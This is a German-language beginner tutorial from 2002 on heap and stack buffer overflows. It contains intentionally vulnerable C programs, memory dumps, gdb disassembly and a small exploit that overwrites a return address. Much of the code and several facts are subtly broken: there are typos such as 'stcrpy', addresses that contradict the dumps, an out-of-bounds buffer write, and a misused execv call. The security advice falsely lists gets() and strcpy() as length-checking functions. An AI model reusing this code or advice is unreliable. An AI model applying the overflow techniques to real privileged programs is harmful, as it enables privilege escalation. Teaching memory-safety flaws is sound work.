Buffer Overflow    


Vorwort :

Sollte ich Fehler bei der Übersetzung gemacht haben,so kontaktiert mich bitt per Mail oder ICQ
Dieser Text darf frei weiter verteilt werden,so lange der Inhalt nicht verändert wird.

Einleitung :

Ich werde euch hier erklären was ein Bufferoverflow ist,wie man sie entdeckt ob Programme
anfällig sind.Dieses Tutorials beinhaltet C quellcodes, solltet ihr daher kein C können,werdet
ihr auf Probleme stossen, ihr solltet euch einige Erfahrung in Assembler und gdb haben.
ICh hab versucht es so einfach wie möglich zu schreiben,aber dies ist keines von diesen Tutorias,
wo ihr ahnungslos anfangt zu lesen und wen ihr fertig wisst ihr alles.Es braucht seine Zeit bis man
so etwas versteht, und ich hab mir mühe gegeben.
Eine kleine bemerkung,wie jeder der das hier ist will auch ich lernen,also sagte ich mir vor ein
paar Wochen "Hey,wie fange ich nicht einfach an, paar Texte über Buffer Overflows zu lesen,nun weiss
ich grob wie alles funktioniert", also fing ich an mit dem lernen, nun versuche ich mein wissen,an jeden
der sich dafür interessiert weiter zu geben.Es wird also keiner von diesen Texten sein,wo du alles lernst,
es verschafft dir einen Einblick, wie der Titel schon sagt, eine Einleitung. ( Am ende werde ich euch
ein paar nette Texte geben).Wen du irgendwelche Fragen hast,dann poste diese in unser Forum, wen du
Fehler entdeckt hast,dann schick mir eine Mail und ich werde sie berichtigen.Viel Spass.


Exploit ?


Eigentlich weiss jeder was ein Exploit ist.Aber bedenkt, das die jenigen die sich grad in die Welt
der Security trauen, eigentlich keine Ahnung davon haben.Daher habe ich dieses Tutorial geschrieben.
Also für die jenigen die es nicht wissen, ein Exploit ist ein Programm,meisten in C geschrieben,es
nutzt fehler in anderen Programmen aus.Das Exploit ermöglicht euch, Befehle auf einem System aus zu führen,
welche ihr in einem normalen Status nicht erfüllen könntet.
Jetzt nennen wir diese Exploits Buffer Overflow Exploits.Was das ist fragst du dich ? Warte es ab.
Dies ist das, worum es in diesem Tutorial geht.
Eine andere Sache die du wissen solltest ist,das jeder weiss wie man ein Exploit anwendet
( was glaubst du,wieso so viele Internetseiten attackiert wurden ), die Scipt Kiddies gehen einfach
auf Seiten wie security focus, packetstorm oder fyodor´s exploit world, laden sich ein runter
und benutzen es.Aber wieso schreibt nicht jeder Explits ? Nun, die meisten wissen nicht wie man
Schwachstellen in einem quellcode findet, oder sie sind einfach unfähig ein exploit zu schrieben.
Nun wo du weisst was ein Exploit ist,lass und weiter zu der Buffer Overflow Section gehen.


Buffer Overflow was ist das ?


Wie schon gesagt sind die meisten Exploits Buffer Overflow exploits.Vielleicht denkst du dir jetzt :
"Boahhh, dieser penner redet um den heissen Brei rum, aber er sagt einfach nicht was ein Buffer Overflow ist".
Also lasst und darüber reden.Ein Buffer Overflow ist plaziert in Speicher wo die Daten abgelegt werden.
Wieso fragst du dich ?Weil buffer oferflows spezielle Plätze im Speicher überschreiben,mit etwas was du willst,
das bewegt das Programm etwas zu tun was du willst.Manche von euch denken sich jetzt "WoW2, ich weiss
wie ein Buffer Overflow funktioniert, aber du weisst immer noch nicht wie du sie schreibst.

Lass uns ein Programm analysieren und finde raus wo der Buffer Overflow ist

--------- Code ----------

main(int argc, char **argv) {

char *somevar;
char *important;

somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /*Das ist das wichtigste
variable*/
stcrpy(somevar, argv[1]);


..... Code here ....

}

.... andere Funktionen hier ....

------- Code Ende ----------

Nehmen wir mal an, das wichtige Variablen Befehle speicher wie z.B. "chmod o-r File", dieses Programm
gehört zu root und läuft unter root,das heisst,wen du an das Programme Befehle senden kannst,kannst du
jeden Befehl ausführen.Also überlegst du.Wie zum Teufel kann ich das was ich möchte in die Variablen
speichern.Nun, du musst den Speicher überschreiben, so kannst du variablen überschreiben.Aber lasst uns
mal die Speicher Adressen anschauen.Um dies zu machen, musst du den Code umschrieben.

------- Code -------

main (int argc, char **argv) {


char *somevar;
char *important;

somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

printf("%p\n%p", somevar, important);
exit(0);

}


------- CODE ENDE -------

So, wir haben 2 Zeilen hinzugefügt und den rest unverändert gelassen.Lass uns mal schauen was die beiden
Zeilen machen.Das printf("&p\n%p",somevar,important); gibt die Adresse für die Variablen somevar und
important aus.Das exit(0); beendet das Programm einfach.Dein Ziel hast du nun erreicht, du weisst wo
die Variablen gespeichert sind.Nachdem das Programm gestartet wurde, bekommst du eine Ausgabe wie diese :

0x8049700 <----- Die Adresse von somevar
0x8049710 <----- Die Adresse von important

( Du wirst andere Adressen bekommen )

Wie wir sehen kommt die important variabel nach somevar, das lässt uns unseren Buffer Overflow
besser vorbereiten, somevar bekommt seinen Wert von argv[1].Nun wissen wir, das eine Variablen der anderen
folgt, aber lasst uns jede Adresse überprüfen, so haben wir einen besseren Überblick des Speichers.

---- CODE -----

main(int argc, char **argv) {

char *somevar;
char *important;
char *temp;


somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /* Dies ist wichtig

stcrpy(str, argv[1]);


printf("%p\n%p\n", somevar, important);
printf("Starting To Print memory address:\n");

temp = somevar; /* dies wird tmp an die Speicher Adresse packen,die wir wollen
while(temp < important + 14) {

/* Die schleife wird unterbrochen wen die letzte Adresse erreicht ist,in diesem fall important */

printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
temp++;

}

exit(0);


}
------CODE ENDE ------


Sagen wir nun, das argv[1] im normalen Status gesendet wird.Also tippe ein $ program_name send


0x8049700
0x8049710
Starte Ausgabe der Adressem
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) Jede Leine zeigt eine Speicherzelle an
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$

Nett nicht wahr ? Du siehst das da 12 leere Speicher Adressen zwischen somevar und important existieren.
Nehmen wir an,du startest das Programm mit einem Befehl wie :


$ program_name send------------newcommand

Du bekommst eine Ausgabe wie diese :

0x8049700
0x8049710
Starte Ausgabe :
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <---Speicher Adresse wo important variablen starten
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)


Der neue Befehl überschrieb den alten Befehl.Das Programm hat es getan was du wolltest, obwohl das Programm
was anderes machen sollte.

Lasst und nun kurz überlegen.Wieso ist dies passiert ? Wie du siehst ist im quellcode somevar früher
deklariert als important,das führt dazu das somevar früher im Speicher ist.Nun lasst uns prüfen, wie
jede Variable ihren Wert bekommen hat.somevar hat ihren Wert von argv[1] bekommen und important hat ihren
von der strcpy() Funktion bekommen, aber das eigentliche Problem ist,das der important Wert als erstes deklariert wird,
als der somevar,daher ist es möglich important zu überschreiben.Das Programm sollte verändert
werden,damit dieser Buffer Overflow nicht mehr wirksam ist :

strcpy(somevar, argv[1]);
strcpy(important, "command");

Wen du nun ein Argument eingibst, wird es in die Speicher Adresse von Important geschrieben,es wird
dann überschrieben mit dem echten Befehl, nachdem somevar einen Wert bekommen hat, wird der Wert important
zu gewiesen.

Diese Art von Buffer Overflows, ein ein heap Buffer Overflow.Wie du selbser gemerkt hast, ist es einfach
dies in der Teorrie zu machen,aber in der praxis sieht es schon ganz anders aus.Nachdem ist soviel erzählt
hab war das Programm eigentlich dumm oder nicht ? Es ist echt schwer, wichtige Variablen zu finden und
diese zu überschreiben.Daher sprechen wir jetzt mal über stack buffer overflows.

Eine kleine neben Bemerkung :


Im letzten Abschnitt habe ich über stack und heap erzählt.Falls du nicht weisst was das ist, hier
eine kleine Erklärung :

heap - es ist der Speicher den du für eine Variable reservierst ( dies tust du immer wen du die Funktion
malloc benutzt ).

stack - Es ist der Rückgabewert einer Funktion.Wen du versucht den stack zu überschreiben,so
überschreibst du den Rückgabewert, das Programm springt zu einer Speicherzelle wo deine Befehle
stehen.

Also lasst und über den stack reden.Hier startet der Teil,der mir die meisten probleme bereit hat und
immer noch bereitet.Hier müssen wir mit ASM arbeiten und mit gdb ( irgendwann wird es einer deiner besten
Freunde sein ).

Wir sprechen nun über smashing the Stack, es basiert auf einer Art von "attacke" die den Rückgabewert (RET) ändert.
Wen du dies tust, kannst du den Rückgabewert so verändern,das er zu einer Adresse zeigt,wo ein Befehl steht,den
du ausführen möchtest.Wie beim heap overflow.Nun ein quellcode :

exploit(char *this) {
char string[20];
strcpy(string,this);
printf("%s\n", string);
}
main(int argc, char *argv[]) {
exploit(argv[1]);
}


Nun versuchen wir 2 mal die exploit funktion auszuführen.Wie machen wir das ? Als erster müssen wir ein paar nette
Adressen finden.Lasst uns jetzt gdb benutzen.Als erster complimieren wir.

$ gcc stack.c -o stack
$ gdb stack

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux-gnu"...
(gdb)

Nun disassemblieren wir main.Um dies zu tun, tippen wir einfach disassemble ( du kannst auch disas eintippen ) main

(gdb) disas main
0x8048440 <main>: push %ebp
0x8048441 <main+1>: mov %esp,%ebp
0x8048443 <main+3>: mov 0xc(%ebp),%eax
0x8048446 <main+6>: add $0x4,%eax
0x8048449 <main+9>: mov (%eax),%edx
0x804844b <main+11>: push %edx
0x804844c <main+12>: call 0x8048410 <exploit>
0x8048451 <main+17>: add $0x4,%esp
0x8048454 <main+20>: mov %ebp,%esp
0x8048456 <main+22>: pop %ebp
0x8048457 <main+23>: ret

Hier sind paar "nops".Diese stehen für no operation,also nichts zu tun.

Kurze Überlegung :


Wie wir sehen,wird exploit bei 0x804845c aufgerufen, die Adresse ist 0x8048410.

Zurück zu gdb :

gdb) disas exploit

Ende von assembler dump.
(gdb)
0x8048410 <exploit>: push %ebp
0x8048411 <exploit+1>: mov %esp,%ebp
0x8048413 <exploit+3>: sub $0x14,%esp
0x8048416 <exploit+6>: mov 0x8(%ebp),%eax
0x8048419 <exploit+9>: push %eax
0x804841a <exploit+10>: lea 0xffffffec(%ebp),%eax
0x804841d <exploit+13>: push %eax
0x804841e <exploit+14>: call 0x8048340 <strcpy>
0x8048423 <exploit+19>: add $0x8,%esp
0x8048426 <exploit+22>: lea 0xffffffec(%ebp),%eax
0x8048429 <exploit+25>: push %eax
0x804842a <exploit+26>: push $0x80484bc
0x804842f <exploit+31>: call 0x8048330 <printf>
0x8048434 <exploit+36>: add $0x8,%esp
0x8048437 <exploit+39>: mov %ebp,%esp
0x8048439 <exploit+41>: pop %ebp
0x804843a <exploit+42>: ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
(gdb)
(gdb) quit
$

Zurück zum prompt


Unser Ziel :


Unser Ziel ist es den Rückgabewert von exploit() nach exploit() und dann nach main() zu schreiben.Also,wir können wir das machen ?
Nun unser erster Anhaltspukt ist,


Um dies zu machen müssen wir den Rückgabewert (RET) ändern,dies machen wir in gdb :

0x804844c <main+3>: call 0x8048410 <exploit>

Nun die Frage.In dieser wichtigen Zeile haben wir 2 Adressen,welche sollen wir benutzen ? Nun,ganz einfach, du musst
0x80488c nehmen weil es die einzige ist, die exploit() aufruft, wen du 0x8048410 benutzen würdest, würde es nichts bringen,
also :

0x8048410 <exploit>: push %ebp

----- CODE -----

#include <stdio.h>

main() {

char buf[28];
int i;

for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}

---- CODE ENDE --------

Wen wir diestun,überschreiben wir den Rückgabewert von 0x804844c und rufen die Funktion exploit() auf.Dies wird eine
endschloss Schleife aurrufen.Wieso konnten wir das Programm exploiten ? Nun,die länge des String den wir übergeben haben
wurde nicht geprüft.Nun hier ein Hinweis wie sie den code sichere machen können, benutze ur Funktionen welche die länge
von Strings überprüfen, mit fgets(), strncpy() oder gets(),strcpy() und so weiter.


gdb tip :


Willst du sehen wie ein exploit ein verletztbares Programm infiziert.Tippe in gdb folgendes ein :

(gdb) exec exploit
(gdb) symbol-file vunerable_programm

Nun kannst du sehen,was das exploit macht, und wen du probleme hast,kannst du diese verändern.

Abschluss Satz :


Nun hier sind wir schon am ende.Ich hoffe ich habe dir geholfen...., ich habe dieses Tutorial einwenig abgeändert,
aber es hat immer noch nicht alles was ich sagen wollte.Aber es ist besser das zu sagen was ich weiss anstatt das wo ich mir
nicht 100% sicher bin.Wen du in diesem Tutorial etwas findest was nicht passt, benachrichtige mich bitte per E-Mail.

Weitere Texte :


- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One

Diese 3 Texte geben dir die meisten Infos.Sie haben mir sehr geholfen... Ihr findet sie bei packetstorm.securify.com

--------------------------------------------------------------------------------

Dieses Tutorial ist eigentum der german security crew : www.securecrew.de
Dieses Tutorial darf frei veröffentlicht werden,solange der Inhalt nicht verfälscht wird.
copyright by Akkad 2002


Credits:

mail : Akkad@gmx.ch
ICQ : 135152066